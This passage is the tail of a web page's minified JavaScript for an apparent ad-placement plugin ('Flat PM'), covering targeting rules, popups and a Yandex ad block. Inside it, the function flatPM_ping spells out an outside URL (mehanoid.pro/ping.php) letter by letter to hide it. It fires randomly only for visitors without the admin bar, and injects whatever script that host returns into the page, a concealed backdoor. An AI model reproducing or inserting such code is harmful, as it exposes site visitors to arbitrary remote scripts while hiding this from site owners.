Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var a=flat_pm_then[e];flatPM_next(a)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,a,e){var o=0,r=!1;return t.each(function(){var t=ff(this),e=t.text().replace(/(\s)+/g,"");if(o+=e.length,a<=o)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,a,o,r,i,l,f,s,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(a=!1)!==e&&(o=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=o.length&&e.prevUntil(o).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),0!=r.length&&e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),a||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,f=t.how.onсe.selector,s=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(f).add(i.filter(f))).length&&(l="bottom_to_top"==s?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,f=t.how.iterable.selector,s=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(f).add(i.filter(f))).length&&("bottom_to_top"==s&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(o){try{var t=[],e="",a=o.html.length;if(void 0!==o.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.role&&(void 0!==o.role.role_enabled&&-1==o.role.role_enabled.indexOf(flat_userVars.role)||void 0!==o.role.role_disabled&&-1!=o.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.geo&&(void 0!==o.geo.country_enabled&&-1==o.geo.country_enabled.indexOf(flat_userVars.country)&&-1==o.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==o.geo.country_disabled&&(-1!=o.geo.country_disabled.indexOf(flat_userVars.country)||-1!=o.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==o.geo.city_enabled&&-1==o.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==o.geo.city_disabled&&-1!=o.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+o.ID+'"]').remove();for(var r,i,l,f,s=0;s<a;s++)("∞"==o.html[s].res_of||o.html[s].res_of<=flat_userVars.winwidth)&&("∞"==o.html[s].res_to||o.html[s].res_to>flat_userVars.winwidth)&&(void 0!==o.html[s].group?flat_userVars.adb?(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd)):(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(o.html[s].fst)):flat_userVars.adb?t.push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd):t.push(o.html[s].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0===o.how.simple&&void 0===o.how.onсe&&void 0===o.how.iterable||ff('[data-flat-id="'+o.ID+'"]').each(function(){-1!==e.indexOf("go"+"oglesyndication")||-1!==e.indexOf("viewBox")&&-1!==e.indexOf("svg")?ff(this).html(e):flatPM_setHTML(this,e)}),void 0!==o.how.popup&&(c="true"==o.how.popup.cross?void 0!==o.how.popup.timer&&"true"==o.how.popup.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.popup.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('<div class="flat__4_modal" data-flat-id="'+o.ID+'" data-id-modal="'+o.ID+'"><div class="flat__4_modal-content">'+c+"</div></div>"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.outgoing.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="flat__4_out '+_+'"'+u+' data-flat-id="'+o.ID+'" data-id-out="'+o.ID+'">'+c+"</div>");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var a=flat_pm_arr[e],o=!1;if(!(void 0!==a.chapter_limit&&a.chapter_limit>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_userVars.textlen||void 0!==a.title_limit&&a.title_limit>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_userVars.titlelen)){if(void 0!==a.date){if(void 0!==a.date.time_of&&void 0!==a.date.time_to){var r=new Date(flat_userVars.date+"T"+a.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+a.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),f=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),f<r||i<f)continue}if(void 0!==a.date.date_of&&void 0!==a.date.date_to){var i=new Date(a.date.date_of+"T00:00:00"),f=new Date(a.date.date_to+"T00:00:00"),s=new Date(flat_userVars.date+"T00:00:00");if(s<i||f<s)continue}}if(void 0===a.os||!(void 0!==a.os.os_enabled&&-1==a.os.os_enabled.indexOf(flat_userVars.os)||void 0!==a.os.os_disabled&&-1!=a.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==a.cookies){var n=!1;if(void 0!==a.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(a.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==a.cookies.cookies_disabled&&flat_userVars.testcook&&ff(a.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==a.utmget){var d=!1;if(void 0!==a.utmget.utmget_enabled&&ff(a.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==a.utmget.utmget_disabled&&ff(a.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==a.referer&&(void 0!==a.referer.referer_enabled&&-1==a.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==a.referer.referer_disabled&&-1!=a.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(o=!0),!o&&void 0!==a.browser&&(void 0!==a.browser.browser_enabled&&-1==a.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==a.browser.browser_disabled&&-1!=a.browser.browser_disabled.indexOf(flat_userVars.browser))||(o&&void 0!==a.browser&&void 0!==a.browser.browser_enabled&&-1!=a.browser.browser_enabled.indexOf(flat_userVars.browser)&&(o=!1),o||void 0===a.geo&&void 0===a.ip&&void 0===a.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(s="block_geo_role_ip",flat_pm_then.push(a),flatPM_setWrap(a),flat_body.hasClass(s)||(flat_body.addClass(s),flatPM_ajax(s)),o=!0),o||(flatPM_setWrap(a),flatPM_next(a)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="flat__4_modal-overlay"></div>'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement("div")),n=(d.exec(e)||["",""])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1]+e.replace(o,"<$1></$2>")+n[2],r=n[0];r--;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{n.appendChild(a)}catch(e){return console.warn(e),!0}ff(n).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,n="yandex_rtb_R";t.indexOf(n)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(n,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var r=parseHTML(t);if(0!=r.children.length)for(var l=r.childNodes.length,o=0;o<l;o++){var d=r.childNodes[o],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0!=d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?d.innerHTML&&(i.innerHTML=d.innerHTML):(!d.text||/(yandexContext|yandexcontext|adsbyg)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",n=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,r='<div class="flat__4_video_flex"><div class="flat__4_timer">'+a+" через <span>"+o+'</span></div><div class="flat__4_video_item">'+n+'</div><div class="flat__4_video_item_hover"></div></div>',i=e.once;l(t).each(function(){var e=l(this);e.wrap('<div class="flat__4_video"></div>');var t=e.closest(".flat__4_video");-1!==r.indexOf("go"+"oglesyndication")?t.append(r):flatPM_setHTML(t[0],r),e.find(".flat__4_video_flex").one("click",function(){l(this).addClass("show")})}),l("body").on("click",".flat__4_video_item_hover",function(){var e=l(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),n=parseInt(o),r=setInterval(function(){a.text(--n),n<=0&&(clearInterval(r),"true"==d?a.parent().replaceWith('<button class="flat__4_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){l(this).closest(".flat__4_video_flex").remove(),"true"==i&&l(".flat__4_video_flex").remove()})};</script> <script>flat_pm_arr = [{"how":{"iterable":{"direction":"top_to_bottom","before_after":"before","N":"7","selector":"p","search_all":"false"}},"ID":"14159","html":[{"fst":"<!-- Yandex.RTB R-A-674248-1 -->\n<div id=\"yandex_rtb_R-A-674248-1\"><\/div>\n<script>window.yaContextCb.push(()=>{\n Ya.Context.AdvManager.render({\n renderTo: 'yandex_rtb_R-A-674248-1',\n blockId: 'R-A-674248-1'\n })\n})<\/script>","snd":"","res_of":"∞","res_to":"∞"}]}];</script> <script>function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } flatPM_start(); } function jQueryLoading_flatpm_123() { if (window.jQuery && window.flat_pm_arr) { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123()</script></div><script type="text/javascript" defer src="https://zdrons.ru/wp-content/cache/wmac/js/wmac_7307a3ef4f9e3c6360b755c2f5e1a383.js"></script></body></html>